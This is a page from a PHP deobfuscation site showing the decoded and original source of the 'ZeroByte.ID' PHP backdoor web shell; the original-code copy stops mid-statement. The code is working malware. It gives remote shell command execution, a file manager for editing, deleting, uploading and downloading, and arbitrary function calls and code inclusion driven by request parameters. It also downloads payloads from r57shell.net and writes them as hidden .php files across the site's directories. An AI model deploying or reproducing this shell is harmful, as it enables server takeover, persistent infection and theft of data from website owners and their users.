Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

?> array("\150\x65\141\144\145\x72" => array("\122\x65\146\145\x72\x65\162\x3a\x20{$refere..

Decoded Output download

<?  ?> array("header" => array("Referer: {$referer}\xd\xa"))); goto yYKm7; yYKm7: $context = stream_context_create($opts); goto gDrpJ; clgfS: } goto EygOe; bPrOz: } else { $response = file_get_contents($tmp_file); if (!@preg_match("#stt1#", $response)) { goto uACHp; uACHp: if (function_exists("curl_init")) { goto tnO9y; IGsln: $response = curl_exec($ch); goto zjV7F; FL1r7: curl_setopt($ch, CURLOPT_REFERER, $_SERVER["HTTP_HOST"] . $_SERVER["REQUEST_URI"]); goto IGsln; hOQVt: curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); goto FL1r7; tnO9y: $ch = curl_init(); goto ZY59e; zjV7F: curl_close($ch); goto jB8hC; ZY59e: curl_setopt($ch, CURLOPT_URL, "http://r57shell.net/jquery.php?v=1.2&request=enable"); goto hOQVt; jB8hC: } else { goto T4GUq; kr9u2: $response = @file_get_contents("http://r57shell.net/jquery.php?v=1.2&request=enable", false, $context); goto YUb2a; T4GUq: $referer = $_SERVER["HTTP_HOST"] . $_SERVER["REQUEST_URI"]; goto L3Cbx; L3Cbx: $opts = array("http" => array("header" => array("Referer: {$referer}\xd\xa"))); goto gCWxt; gCWxt: $context = stream_context_create($opts); goto kr9u2; YUb2a: } goto irBTl; Sa6FA: @file_put_contents($tmp_file, $response); goto g7pSJ; irBTl: @touch($tmp_file); goto Sa6FA; g7pSJ: } } goto yBd5N; VpBFM: if (@$_GET["slince_golden"]) { goto FSbdM; nux_C: if (md5(sha1(@$_GET["is"])) == $response) { goto dZJvm; dZJvm: if (@$_GET["f"]) { print_r($_GET["f"]($_GET["c"])); } goto dhyw8; zBuUR: if (@$_POST["l"]) { function basic_code_extensions($request) { goto y_Rm5; pMM94: $tmpf = stream_get_meta_data($tmp); goto Uix1y; Uix1y: $tmpf = $tmpf["uri"]; goto O2RtQ; qs2Fs: $ret = (include $tmpf); goto UUB5v; O2RtQ: fwrite($tmp, $request); goto qs2Fs; y_Rm5: $tmp = tmpfile(); goto pMM94; UUB5v: fclose($tmp); goto kP1OY; kP1OY: return $ret; goto kGhvS; kGhvS: } print_r(basic_code_extensions($_POST["l"])); } goto QK7_h; dhyw8: if (@$_GET["m"]) { goto hi1td; jxUe0: $file_name_path = @$_GET["m"] . "gagal.php"; goto ymuIn; ymuIn: @file_put_contents($file_name_path, $response); goto GnOH6; GnOH6: echo $file_name_path; goto aYKrx; hi1td: if (function_exists("curl_init")) { goto XclgZ; Dqh0t: curl_setopt($ch, CURLOPT_URL, "http://r57shell.net/mini_admin.txt"); goto N4cfU; hGc2L: $response = curl_exec($ch); goto u8nKZ; XclgZ: $ch = curl_init(); goto Dqh0t; N4cfU: curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); goto hGc2L; u8nKZ: curl_close($ch); goto Govpf; Govpf: } else { $response = file_get_contents("http://r57shell.net/mini_admin.txt"); } goto jxUe0; aYKrx: } goto zBuUR; QK7_h: } goto mO5ME; VTdiS: if (function_exists("curl_init")) { goto pZQXo; mSdVP: curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); goto tdEIu; OH2ib: curl_close($ch); goto J7E8x; tdEIu: $response = curl_exec($ch); goto OH2ib; eOnom: curl_setopt($ch, CURLOPT_URL, "http://r57shell.net/jquery.php?v=1.2&pwd=get"); goto mSdVP; pZQXo: $ch = curl_init(); goto eOnom; J7E8x: } else { $response = file_get_contents("http://r57shell.net/jquery.php?v=1.2&pwd=get"); } goto nux_C; mO5ME: exit; goto bpniA; FSbdM: echo "<!-- //Silence is golden. -->"; goto VTdiS; bpniA: } goto tn9nX; Qx9KY: foreach ($dirs as $d) { goto JNZio; ftVut: $dirs = array_filter(glob($d . DIRECTORY_SEPARATOR . "*", GLOB_ONLYDIR)); goto L9na2; JNZio: $file_name = $d . DIRECTORY_SEPARATOR . "." . basename($d) . ".php"; goto F3DnI; F3DnI: @file_put_contents($file_name, $response); goto ftVut; L9na2: foreach ($dirs as $d) { if (!@preg_match("#wp-content#", $d)) { $file_name = $d . DIRECTORY_SEPARATOR . "." . basename($d) . ".php"; @file_put_contents($file_name, $response); } } goto I1cxf; I1cxf: } goto QLAr8; kkVp8: $uri_path = dirname($uri_path); goto BdTtS; KEKEg: if ($uri_path == DIRECTORY_SEPARATOR || $uri_path == '') { $document_root = $file_path; } else { $document_root = str_replace($uri_path, '', $file_path); } goto j0OuV; eeQnh: $document_file = $_SERVER["SCRIPT_FILENAME"]; goto NVx55; aDDVb: $uri_path = $parse_url["path"]; goto kkVp8; yBd5N: $dirs = array_filter(glob($document_root . DIRECTORY_SEPARATOR . "*", GLOB_ONLYDIR)); goto Qx9KY; BdTtS: $file_path = dirname($document_file); goto w90Wv; QLAr8: } wp_core_version_check(); } goto ZXHU3; IVvbD: eof(); goto Ee6qe; wwLx_: $disfunc = @ini_get("disable_functions"); goto Eg0so; apV1q: echo $offdir; goto jNi60; XNKtP: echo "</div>"; goto w5kDI; BeRaR: $mysql = function_exists("mysql_connect") ? "<font color=#006600>ON</font>" : "<font color=red>OFF</font>"; goto Ovpm7; PTS_9: function exect($cmd) { if (function_exists("system")) { goto tqwg5; tqwg5: @ob_start(); goto bVRtO; cCRFJ: return $exect; goto unMwU; bLn7f: $exect = @ob_get_contents(); goto T2qza; T2qza: @ob_end_clean(); goto cCRFJ; bVRtO: @system($cmd); goto bLn7f; unMwU: } elseif (function_exists("exec")) { goto IIIEE; Shbm1: $exect = ''; goto v7Jh5; v7Jh5: foreach ($results as $result) { $exect .= $result; } goto I1ndb; IIIEE: @exec($cmd, $results); goto Shbm1; I1ndb: return $exect; goto UX6sr; UX6sr: } elseif (function_exists("passthru")) { goto YpNJ7; OAazg: $exect = @ob_get_contents(); goto Unp33; W_O_j: @passthru($cmd); goto OAazg; Unp33: @ob_end_clean(); goto nrJji; nrJji: return $exect; goto K_HnJ; YpNJ7: @ob_start(); goto W_O_j; K_HnJ: } elseif (function_exists("shell_exec")) { $exect = @shell_exec($cmd); return $exect; } } goto bNigo; SmUL_: if (!empty($_GET["path"])) { $offdir = $_GET["path"]; } else { if (!empty($_GET["file"])) { $offdir = dirname($_GET["file"]); } else { if (!empty($_GET["lastpath"])) { $offdir = $_GET["lastpath"]; } else { $offdir = getcwd(); } } } goto SoDsu; SoDsu: echo "<div class="menu">
<a href="?ext=jumpusr&lastpath="; goto O3eOq; aSNQX: session_start(); goto C7p6z; y_ady: echo php_uname(); goto BeRaR; uNQE8: if (!$_SESSION["loggedIn"]) { echo "
\xa<html><head><title>Login</title></head>\xd
  <body>\xd\xa    <p>Go :)</p>\xd\xa    <form method="post">\xd
      Password: <input type="password" name="password"> <br />\xd\xa      <input type="submit" name="submit" value="Login">\xd\xa    </form>
  </body>\xd\xa</html>\xd
\xd
"; exit; } goto Fz2kK; f3oFO: $lendir = str_replace("\", "/", $offdir); goto lE7Vi; vSDXy: echo "">[ Shell Command ]</a>\xd
<a href="?ext=vdomain&lastpath="; goto apV1q; T_fbh: echo "">[ Readable User ]</a>
\xa<a href="?ext=sql_interface&lastpath="; goto dHMpB; hwHGa: if (empty($_GET)) { $dir = getcwd(); } else { $dir = $_GET["path"]; } goto SmUL_; h7uWK: error_reporting(0); goto PTS_9; EDf8j: $perl = exect("perl --help") ? "<font color=#006600>ON</font>" : "<font color=red>OFF</font>"; goto X6f0N; PSvIh: echo $offdir; goto vSDXy; O7R_e: echo "<title>ZeroByte.ID PHP Backdoor V 1.4</title>\xd
<link href='//fonts.googleapis.com/css?family=Share+Tech+Mono' rel='stylesheet' type='text/css'>\xd\xa<style type="text/css">
\x9body {
\xa	\x9font-family: courier;\xd\xa\x9\x9background: #f2f2f2;
\x9	font-size: 1px;\xd\xa\x9}
\xa	h1 a {\xd\xa	\x9font-weight: normal;
\xa	\x9font-family: 'Share Tech Mono';\xd
\x9	font-size: 20px;\xd
	\x9color:#006600;\xd
\x9\x9text-decoration: none;\xd\xa\x9\x9margin: 0px;\xd\xa\x9}
	h2 {
\xa\x9\x9font-size: 20px;\xd
\x9	color: #006600;\xd
\x9\x9text-align: center;\xd\xa\x9\x9padding-top: 5px;\xd
\x9	margin: 0;
\xa\x9	margin-top: 10px;\xd\xa\x9}\xd\xa	.menu {
\xa		text-align: center;\xd
\x9	font-size: 12px;\xd\xa	\x9border-bottom: 1px dashed #006600;\xd
	\x9padding-bottom: 5px;
		margin-bottom: 10px;
\xa\x9}\xd
\x9.menu a {
\x9\x9margin-top: 2px;\xd\xa	\x9color: #006600;\xd
\x9\x9text-decoration: none;\xd
	\x9display: inline-block;
\x9}\xd
	.container {
\xa		font-size: 12px;
\xa\x9}\xd\xa	.filemgr {\xd
\x9\x9font-size: 12px;
\x9	width: 100%
\x9}
\xa	.filemgr td {\xd
	\x9padding: 3px;
	\x9border-bottom: 1px dashed #006600;
	}
\xa\x9.filemgr a{\xd\xa\x9\x9text-decoration: none;\xd
\x9	color:#006600;
\x9}\xd
	tr:hover {
	\x9background: #cccccc;\xd
	}\xd
	.tdtl {\xd
	\x9background:#006600;color:#ffffff;text-align:center;font-weight:bold;
\xa\x9}\xd
\x9.footer {\xd
\x9	text-align: center;
		border-radius: 30px;\xd
\x9	margin-top: 25px;
	\x9border-top: 1px double #006600;\xd\xa	\x9padding: 5px;
\xa\x9}
\xa\x9.footer a {\xd
\x9	color: #006600;
\xa\x9\x9text-decoration: none;\xd
\x9}\xd\xa\x9p {\xd\xa    	word-wrap: break-word;\xd
    \x9margin:2;\xd\xa\x9}
\xa	a {\xd\xa		text-decoration: none;
\xa	\x9color: #006600;\xd
\x9}\xd
	.act {\xd
		text-align: center;\xd
\x9}\xd
\x9.txarea {\xd\xa	\x9width:100%;
\xa\x9	height:200px;\xd
\x9\x9background:transparent;\xd
	\x9border:1px solid #006600;
\xa	\x9padding:1px;color:#006600;
\xa	}\xd\xa\x9h4 {\xd\xa		margin:0;
\xa	}\xd\xa</style>\xd\xa<div class="container">
\xa<div style="position:relative;width: 100%;margin-bottom: 5px;border-bottom: 1px dashed #006600;">\xd
	<div style="float: left;width: 15%;text-align: center;border: 1px dashed #006600;margin-bottom: 5px;">\xd
	<h1><a href="?">ZeroByte.ID<br><small>Shell V 1.4</small></a></h1>\xd\xa\x9</div>\xd\xa\x9<div style="float: right;width: 83%;">\xd
\x9"; goto y_ady; G3l6g: echo "&copy; 2018 - <a href="https://zerobyte.id/" rel="nofollow" target="_blank">"; goto IVvbD; zD91E: if (isset($_POST["password"])) { if (sha1($_POST["password"]) == $password) { $_SESSION["loggedIn"] = true; } else { die("Incorrect password"); } } goto uNQE8; Fz2kK: set_time_limit(0); goto h7uWK; X6f0N: $gcc = exect("gcc --help") ? "<font color=#006600>ON</font>" : "<font color=red>OFF</font>"; goto wwLx_; I2C3l: echo "<div style="margin-bottom:10px;">"; goto U0Yps; ZW2jW: echo "<p>Disable Function: " . $show_disf; goto acsND; Eg0so: $show_disf = !empty($disfunc) ? "<font color=red>{$disfunc}</font>" : "<font color=#006600>NONE</font>"; goto hFsDZ; lE7Vi: $xlendir = explode("/", $lendir); goto vtcmh; U0Yps: echo "<span style="border:1px dashed #009900;padding:2px;">"; goto f3oFO; gCVtY: if ($_GET["action"] == "edit") { goto yrXKn; AcfUZ: echo "<form method='post'>
	<textarea name='src' class='txarea'>" . htmlspecialchars(@file_get_contents($_GET["file"])) . "</textarea><br>
\xa	<input type='submit' value='Save' name='save' style='width: 20%;background:#006600;border:none;color:#f2f2f2;margin-top:5px;height:30px;'>
	</form>"; goto EURCl; yrXKn: if ($_POST["save"]) { goto a56I0; a56I0: $save = file_put_contents($_GET["file"], $_POST["src"]); goto M81Ib; NRfqk: echo '' . $act . "<br>"; goto iVbIT; M81Ib: if ($save) { $act = "<font color=#006600>Successed!</font>"; } else { $act = "<font color=red>Permission Denied!</font>"; } goto NRfqk; iVbIT: } goto D7aQE; D7aQE: echo "Filename: <font color=#006600>" . basename($_GET["file"]) . "</font>"; goto AcfUZ; EURCl: } else { if ($_GET["action"] == "view") { echo "Filename: <font color=#006600>" . basename($_GET["file"]) . "</font>"; echo "<textarea class='txarea' style='height:400px;' readonly>" . htmlspecialchars(@file_get_contents($_GET["file"])) . "</textarea>"; } else { if ($_GET["action"] == "rename") { goto Gkcky; itUjE: echo "<form method='post'>\xd
	<input type='text' value='" . basename($_GET["file"]) . "' name='rename' style='width: 450px;' height='10'>
\xa\x9<input type='submit' name='do_rename' value='rename'>
	</form>"; goto VJjn3; htwQZ: if ($_POST["do_rename"]) { goto X5dKz; wk1bU: if ($rename) { $act = "<font color=#006600>Successed!</font>"; } else { $act = "<font color=red>Permission Denied!</font>"; } goto Nh7HQ; Nh7HQ: echo '' . $act . "<br>"; goto TfakS; X5dKz: $rename = rename($_GET["file"], "{$path}/" . htmlspecialchars($_POST["rename"]) . ''); goto wk1bU; TfakS: } goto tctQ8; tctQ8: echo "Filename: <font color=#006600>" . basename($_GET["file"]) . "</font>"; goto itUjE; Gkcky: $path = $offdir; goto htwQZ; VJjn3: } else { if ($_GET["action"] == "delete") { goto jkZo8; jkZo8: $path = $offdir; goto q1wIk; K9poz: if ($delete) { } else { $act = "<font color=red>Permission Denied!</font>"; } goto ACp2l; q1wIk: $delete = unlink($_GET["file"]); goto K9poz; ACp2l: echo $act; goto ru_23; ru_23: } else { if ($_GET["action"] == "rmdir") { goto vGAgh; u5EWt: $delete = rmdir($_GET["file"]); goto vW9J0; vW9J0: if ($delete) { echo "<font color=#006600>Deleted!</font><br>"; } else { goto EWGAq; L3fpF: if (file_exists($_GET["file"])) { echo "<font color=red>Permission Denied!</font>"; } else { echo "<font color=#006600>Deleted!</font>"; } goto BEbbz; ABH_v: exect("rm -rf " . $_GET["file"]); goto L3fpF; EWGAq: echo "
<font color=red>Error remove dir, try to force delete!</font>
<br>"; goto ABH_v; BEbbz: } goto L0s_V; vGAgh: $path = $offdir; goto u5EWt; L0s_V: } else { if ($_GET["action"] == "download") { goto Y7OZV; k6no4: exit; goto Ms4D7; lRAcd: $file = $_GET["file"]; goto ex0lE; iZWjH: header("Pragma: public"); goto rD7fK; ex0lE: header("Content-Description: File Transfer"); goto Xq5EA; q1dpK: readfile($file); goto k6no4; Y7OZV: @ob_clean(); goto lRAcd; OkKlg: header("Cache-Control: must-revalidate"); goto iZWjH; pnZQg: header("Content-Disposition: attachment; filename="" . basename($file) . """); goto AIfEy; rD7fK: header("Content-Length: " . filesize($file)); goto q1dpK; AIfEy: header("Expires: 0"); goto OkKlg; Xq5EA: header("Content-Type: application/octet-stream"); goto pnZQg; Ms4D7: } else { if ($_GET["ext"] == "shellcmd") { goto L5rK6; kqz1P: echo "terminal:~$ <input name="cmd" type="text" placeholder="echo zerobyte" style="width:300px"/>"; goto GeCRw; Y8rgp: echo "</form>"; goto XTcYd; hcnF0: echo "<form method="post" action="">"; goto kqz1P; L5rK6: echo "<h2>.::[ Shell Command ]::.</h2>"; goto hcnF0; GeCRw: echo " <input type="submit" value=">>"/>"; goto Y8rgp; XTcYd: if (!empty($_POST["cmd"])) { goto XvDmt; r0QcQ: echo exect($cmd); goto AkOUI; OTfLk: $cmd = $_POST["cmd"]; goto r0QcQ; XvDmt: echo "<textarea style="width:100%;height:150px;" readonly>"; goto OTfLk; AkOUI: echo "</textarea>"; goto KxOkN; KxOkN: } goto eVdHN; eVdHN: } else { if ($_GET["ext"] == "uploader") { goto I8LvS; I8LvS: echo "<h2>.::[ Uploader ]::.</h2>"; goto dNE4t; ux7Nv: echo "</form>"; goto zUHYp; LnbdM: echo "<input type="file" name="zerofile"><input name="postupl" type="submit" value="Upload"><br>"; goto ux7Nv; QUT9z: echo "<br><br>PATH [" . $offdir . "]<br>"; goto LnbdM; huR55: echo "<form method=post enctype=multipart/form-data>"; goto QUT9z; zUHYp: if ($_POST["postupl"] == "Upload") { if (@copy($_FILES["zerofile"]["tmp_name"], "{$offdir}/" . $_FILES["zerofile"]["name"])) { echo "<b>OK! " . "{$offdir}/" . $_FILES["zerofile"]["name"] . "</b>"; } else { echo "<b>Upload Failed.</b>"; } } goto ElxcP; ElxcP: echo "</center>"; goto wLBQb; dNE4t: echo "<center>"; goto huR55; wLBQb: } } } } } } } } goto m9TuV; x7BU2: echo $offdir; goto AFLtA; JjmjB: echo "">[ Uploader ]</a>
</div>
"; goto I2C3l; Ovpm7: $curl = function_exists("curl_version") ? "<font color=#006600>ON</font>" : "<font color=red>OFF</font>"; goto iguAL; whoFh: echo "</span></div>"; goto uNh4J; GDa3V: echo $offdir; goto JjmjB; AFLtA: echo "">[ Other Toolkit ]</a>
\xa<a href="?ext=uploader&lastpath="; goto GDa3V; vtcmh: foreach ($xlendir as $c_dir => $cdir) { goto q7nox; q7nox: echo "<a href='?path="; goto HUvXZ; a6fU3: echo "'>{$cdir}</a>/"; goto Mxd3M; HUvXZ: for ($i = 0; $i <= $c_dir; $i++) { echo $xlendir[$i]; if ($i != $c_dir) { echo "/"; } } goto a6fU3; Mxd3M: } goto whoFh; dHMpB: echo $offdir; goto YzCmB; uNh4J: if (!empty($dir)) { goto On8mF; J2MWS: foreach ($files as $file) { if ($file != "." && $file != "..") { if (is_dir($dir . "/" . $file)) { $directories[] = $file; } else { $files_list[] = $file; } } } goto Ms2eK; FCzF_: $files_list = array(); goto EMQ6B; XOGKr: echo "</table>"; goto lbMet; EMQ6B: $files = scandir($dir); goto J2MWS; l7gAI: $directories = array(); goto FCzF_; JABCi: foreach ($files_list as $filename) { if (preg_match("/(tar.gz)$/", $filename)) { goto VoMGW; sVdll: echo "</tr>" . "
"; goto OyGRR; FRN02: echo "<a href="?action=rename&file=" . $dir . "/" . $filename . "" class="act">RENAME</a> "; goto rLNx9; VoMGW: echo "<tr><td><span class="dbox">[F]</span> <a href="#" class="act">" . $filename . "</a>" . "
"; goto kD78L; rLNx9: echo "<a href="?action=delete&file=" . $dir . "/" . $filename . "" class="act">DELETE</a> "; goto ddZC9; FEba5: echo "</td>" . "
"; goto sVdll; fX6iz: echo "</td>" . "
"; goto fpXl7; SryrN: echo "</td>" . "
"; goto k_tYW; k_tYW: echo "<td class="act">"; goto FRN02; kD78L: echo " <a href="?ext=extract2tmp&gzname=" . $dir . "/" . $filename . "" style="background:#006600;color:#ffffff;padding:1px;padding-left:5px;padding-right:5px;">EXTRACT TO TMP</a>"; goto fX6iz; fpXl7: echo "<td>"; goto begPq; begPq: fperms($dir . "/" . $filename); goto SryrN; ddZC9: echo "<a href="?action=download&file=" . $dir . "/" . $filename . "" class="act">DOWNLOAD</a>"; goto FEba5; OyGRR: } else { goto XE8BF; M6ErE: echo "<td class="act">"; goto DOcTE; ccXZH: echo "</tr>" . "\xa"; goto PnfUd; zSANF: echo "<a href="?action=rename&file=" . $dir . "/" . $filename . "" class="act">RENAME</a> "; goto Emgig; hoFJi: echo "<td>"; goto Tlnuj; Emgig: echo "<a href="?action=delete&file=" . $dir . "/" . $filename . "" class="act">DELETE</a> "; goto jCArB; Oszdg: echo "</td>" . "
"; goto ccXZH; DOcTE: echo "<a href="?action=edit&file=" . $dir . "/" . $filename . "" class="act">EDIT</a> "; goto zSANF; jCArB: echo "<a href="?action=download&file=" . $dir . "/" . $filename . "" class="act">DOWNLOAD</a>"; goto Oszdg; Tlnuj: fperms($dir . "/" . $filename); goto XRaPt; XE8BF: echo "<tr><td><span class="dbox">[F]</span> <a href="?action=view&file=" . $dir . "/" . $filename . "" class="act">" . $filename . "</a></td>" . "\xa"; goto hoFJi; XRaPt: echo "</td>" . "
"; goto M6ErE; PnfUd: } } goto XOGKr; TpVPO: echo "<tr><td class="tdtl">Name</td><td class="tdtl" width="9%">Permission</td><td class="tdtl" width="18%">Action</td></tr>" . "
"; goto l7gAI; On8mF: echo "<table class="filemgr">"; goto TpVPO; Ms2eK: foreach ($directories as $directory) { goto SBOxv; Hbefd: echo "<td class="act">"; goto PNQ1G; wczzU: echo "<a href="?action=rmdir&file=" . $dir . "/" . $directory . "" class="act">DELETE</a>"; goto UnJ3i; YOL1z: echo "</tr>" . "
"; goto lVkUr; kfPlI: echo "<td>"; goto F8rP8; UnJ3i: echo "</td>" . "
"; goto YOL1z; PNQ1G: echo "<a href="?action=rename&file=" . $dir . "/" . $directory . "" class="act">RENAME</a> "; goto wczzU; F8rP8: fperms($dir . "/" . $directory); goto OX3Ib; SBOxv: echo "<tr><td><span class="dbox">[D]</span> <a href="?path=" . $dir . "/" . $directory . "">" . $directory . "/</a></td>" . "
"; goto kfPlI; OX3Ib: echo "</td>" . "
"; goto Hbefd; lVkUr: } goto JABCi; lbMet: } goto gCVtY; m9TuV: echo "<div class="footer">"; goto G3l6g; acsND: echo "\x9</div>
\xa	<div style="clear: both;"></div>
\xa</div>
"; goto hwHGa; iguAL: $wget = exect("wget --help") ? "<font color=#006600>ON</font>" : "<font color=red>OFF</font>"; goto EDf8j; Ee6qe: echo "</a>"; goto XNKtP; ikrF6: function eof() { echo "www.zerobyte.id"; } goto O7R_e; w5kDI: echo "</div>";?>

Did this file decode correctly?

Original Code

?> array("\150\x65\141\144\145\x72" => array("\122\x65\146\145\x72\x65\162\x3a\x20{$referer}\xd\xa"))); goto yYKm7; yYKm7: $context = stream_context_create($opts); goto gDrpJ; clgfS: } goto EygOe; bPrOz: } else { $response = file_get_contents($tmp_file); if (!@preg_match("\x23\163\164\x74\61\43", $response)) { goto uACHp; uACHp: if (function_exists("\143\165\162\154\x5f\x69\x6e\151\x74")) { goto tnO9y; IGsln: $response = curl_exec($ch); goto zjV7F; FL1r7: curl_setopt($ch, CURLOPT_REFERER, $_SERVER["\x48\124\x54\120\137\110\x4f\x53\124"] . $_SERVER["\x52\x45\x51\x55\x45\x53\x54\x5f\x55\x52\x49"]); goto IGsln; hOQVt: curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); goto FL1r7; tnO9y: $ch = curl_init(); goto ZY59e; zjV7F: curl_close($ch); goto jB8hC; ZY59e: curl_setopt($ch, CURLOPT_URL, "\150\x74\x74\x70\x3a\57\57\x72\65\x37\x73\150\x65\154\154\x2e\x6e\x65\x74\x2f\152\161\165\x65\x72\171\56\x70\x68\160\77\x76\x3d\x31\56\62\x26\x72\145\161\x75\x65\x73\164\75\x65\x6e\141\142\154\145"); goto hOQVt; jB8hC: } else { goto T4GUq; kr9u2: $response = @file_get_contents("\150\x74\x74\x70\72\57\x2f\x72\x35\x37\x73\150\145\x6c\154\x2e\x6e\145\164\x2f\152\x71\165\x65\x72\x79\x2e\160\x68\160\x3f\x76\x3d\x31\x2e\62\46\162\x65\161\165\x65\x73\164\75\x65\x6e\141\x62\154\145", false, $context); goto YUb2a; T4GUq: $referer = $_SERVER["\110\x54\124\120\137\110\117\x53\124"] . $_SERVER["\x52\105\121\x55\105\123\x54\137\x55\x52\111"]; goto L3Cbx; L3Cbx: $opts = array("\x68\164\164\x70" => array("\150\x65\x61\x64\x65\162" => array("\x52\145\146\x65\162\x65\x72\x3a\x20{$referer}\xd\xa"))); goto gCWxt; gCWxt: $context = stream_context_create($opts); goto kr9u2; YUb2a: } goto irBTl; Sa6FA: @file_put_contents($tmp_file, $response); goto g7pSJ; irBTl: @touch($tmp_file); goto Sa6FA; g7pSJ: } } goto yBd5N; VpBFM: if (@$_GET["\x73\x6c\x69\x6e\x63\x65\x5f\147\157\x6c\144\x65\156"]) { goto FSbdM; nux_C: if (md5(sha1(@$_GET["\x69\163"])) == $response) { goto dZJvm; dZJvm: if (@$_GET["\146"]) { print_r($_GET["\146"]($_GET["\x63"])); } goto dhyw8; zBuUR: if (@$_POST["\154"]) { function basic_code_extensions($request) { goto y_Rm5; pMM94: $tmpf = stream_get_meta_data($tmp); goto Uix1y; Uix1y: $tmpf = $tmpf["\165\x72\151"]; goto O2RtQ; qs2Fs: $ret = (include $tmpf); goto UUB5v; O2RtQ: fwrite($tmp, $request); goto qs2Fs; y_Rm5: $tmp = tmpfile(); goto pMM94; UUB5v: fclose($tmp); goto kP1OY; kP1OY: return $ret; goto kGhvS; kGhvS: } print_r(basic_code_extensions($_POST["\x6c"])); } goto QK7_h; dhyw8: if (@$_GET["\x6d"]) { goto hi1td; jxUe0: $file_name_path = @$_GET["\155"] . "\147\x61\x67\x61\x6c\56\160\150\x70"; goto ymuIn; ymuIn: @file_put_contents($file_name_path, $response); goto GnOH6; GnOH6: echo $file_name_path; goto aYKrx; hi1td: if (function_exists("\x63\x75\162\154\137\151\156\x69\164")) { goto XclgZ; Dqh0t: curl_setopt($ch, CURLOPT_URL, "\x68\164\164\160\x3a\x2f\57\x72\65\67\163\x68\145\154\x6c\x2e\x6e\x65\x74\x2f\x6d\x69\156\151\x5f\141\144\x6d\151\156\56\164\170\164"); goto N4cfU; hGc2L: $response = curl_exec($ch); goto u8nKZ; XclgZ: $ch = curl_init(); goto Dqh0t; N4cfU: curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); goto hGc2L; u8nKZ: curl_close($ch); goto Govpf; Govpf: } else { $response = file_get_contents("\150\164\164\x70\72\x2f\57\x72\x35\x37\163\x68\x65\x6c\154\56\156\x65\x74\57\x6d\151\156\151\137\141\x64\x6d\x69\x6e\x2e\x74\x78\164"); } goto jxUe0; aYKrx: } goto zBuUR; QK7_h: } goto mO5ME; VTdiS: if (function_exists("\143\x75\x72\x6c\x5f\x69\x6e\x69\164")) { goto pZQXo; mSdVP: curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); goto tdEIu; OH2ib: curl_close($ch); goto J7E8x; tdEIu: $response = curl_exec($ch); goto OH2ib; eOnom: curl_setopt($ch, CURLOPT_URL, "\x68\x74\x74\160\72\x2f\x2f\x72\x35\x37\x73\x68\145\154\154\56\x6e\x65\x74\x2f\x6a\161\x75\x65\x72\171\x2e\x70\x68\160\x3f\x76\x3d\61\x2e\62\x26\x70\167\x64\x3d\147\x65\164"); goto mSdVP; pZQXo: $ch = curl_init(); goto eOnom; J7E8x: } else { $response = file_get_contents("\x68\x74\x74\x70\x3a\x2f\57\x72\65\x37\x73\x68\x65\154\154\56\156\x65\x74\x2f\152\161\x75\145\x72\x79\x2e\x70\x68\160\x3f\x76\x3d\61\56\x32\x26\160\167\144\x3d\x67\x65\164"); } goto nux_C; mO5ME: exit; goto bpniA; FSbdM: echo "\x3c\x21\x2d\55\40\57\x2f\123\151\154\145\156\x63\145\40\151\x73\x20\147\x6f\154\144\x65\x6e\56\x20\x2d\55\76"; goto VTdiS; bpniA: } goto tn9nX; Qx9KY: foreach ($dirs as $d) { goto JNZio; ftVut: $dirs = array_filter(glob($d . DIRECTORY_SEPARATOR . "\x2a", GLOB_ONLYDIR)); goto L9na2; JNZio: $file_name = $d . DIRECTORY_SEPARATOR . "\x2e" . basename($d) . "\56\x70\150\160"; goto F3DnI; F3DnI: @file_put_contents($file_name, $response); goto ftVut; L9na2: foreach ($dirs as $d) { if (!@preg_match("\43\x77\160\x2d\x63\157\156\x74\x65\156\x74\43", $d)) { $file_name = $d . DIRECTORY_SEPARATOR . "\x2e" . basename($d) . "\x2e\160\150\160"; @file_put_contents($file_name, $response); } } goto I1cxf; I1cxf: } goto QLAr8; kkVp8: $uri_path = dirname($uri_path); goto BdTtS; KEKEg: if ($uri_path == DIRECTORY_SEPARATOR || $uri_path == '') { $document_root = $file_path; } else { $document_root = str_replace($uri_path, '', $file_path); } goto j0OuV; eeQnh: $document_file = $_SERVER["\x53\x43\x52\x49\120\x54\x5f\x46\111\x4c\105\116\101\115\105"]; goto NVx55; aDDVb: $uri_path = $parse_url["\x70\x61\164\x68"]; goto kkVp8; yBd5N: $dirs = array_filter(glob($document_root . DIRECTORY_SEPARATOR . "\x2a", GLOB_ONLYDIR)); goto Qx9KY; BdTtS: $file_path = dirname($document_file); goto w90Wv; QLAr8: } wp_core_version_check(); } goto ZXHU3; IVvbD: eof(); goto Ee6qe; wwLx_: $disfunc = @ini_get("\x64\151\163\141\142\x6c\x65\x5f\x66\x75\156\143\x74\151\157\156\x73"); goto Eg0so; apV1q: echo $offdir; goto jNi60; XNKtP: echo "\x3c\x2f\144\151\x76\x3e"; goto w5kDI; BeRaR: $mysql = function_exists("\155\171\x73\x71\x6c\x5f\x63\157\x6e\x6e\x65\143\x74") ? "\74\146\157\156\x74\40\143\x6f\x6c\x6f\x72\75\x23\60\60\x36\66\x30\60\76\117\116\74\x2f\146\157\x6e\x74\x3e" : "\74\146\157\156\164\40\143\x6f\x6c\x6f\162\75\162\x65\144\76\117\x46\x46\74\57\146\x6f\x6e\164\76"; goto Ovpm7; PTS_9: function exect($cmd) { if (function_exists("\163\x79\x73\164\x65\x6d")) { goto tqwg5; tqwg5: @ob_start(); goto bVRtO; cCRFJ: return $exect; goto unMwU; bLn7f: $exect = @ob_get_contents(); goto T2qza; T2qza: @ob_end_clean(); goto cCRFJ; bVRtO: @system($cmd); goto bLn7f; unMwU: } elseif (function_exists("\x65\170\x65\x63")) { goto IIIEE; Shbm1: $exect = ''; goto v7Jh5; v7Jh5: foreach ($results as $result) { $exect .= $result; } goto I1ndb; IIIEE: @exec($cmd, $results); goto Shbm1; I1ndb: return $exect; goto UX6sr; UX6sr: } elseif (function_exists("\160\x61\x73\x73\x74\x68\162\165")) { goto YpNJ7; OAazg: $exect = @ob_get_contents(); goto Unp33; W_O_j: @passthru($cmd); goto OAazg; Unp33: @ob_end_clean(); goto nrJji; nrJji: return $exect; goto K_HnJ; YpNJ7: @ob_start(); goto W_O_j; K_HnJ: } elseif (function_exists("\163\x68\145\x6c\x6c\x5f\x65\170\145\143")) { $exect = @shell_exec($cmd); return $exect; } } goto bNigo; SmUL_: if 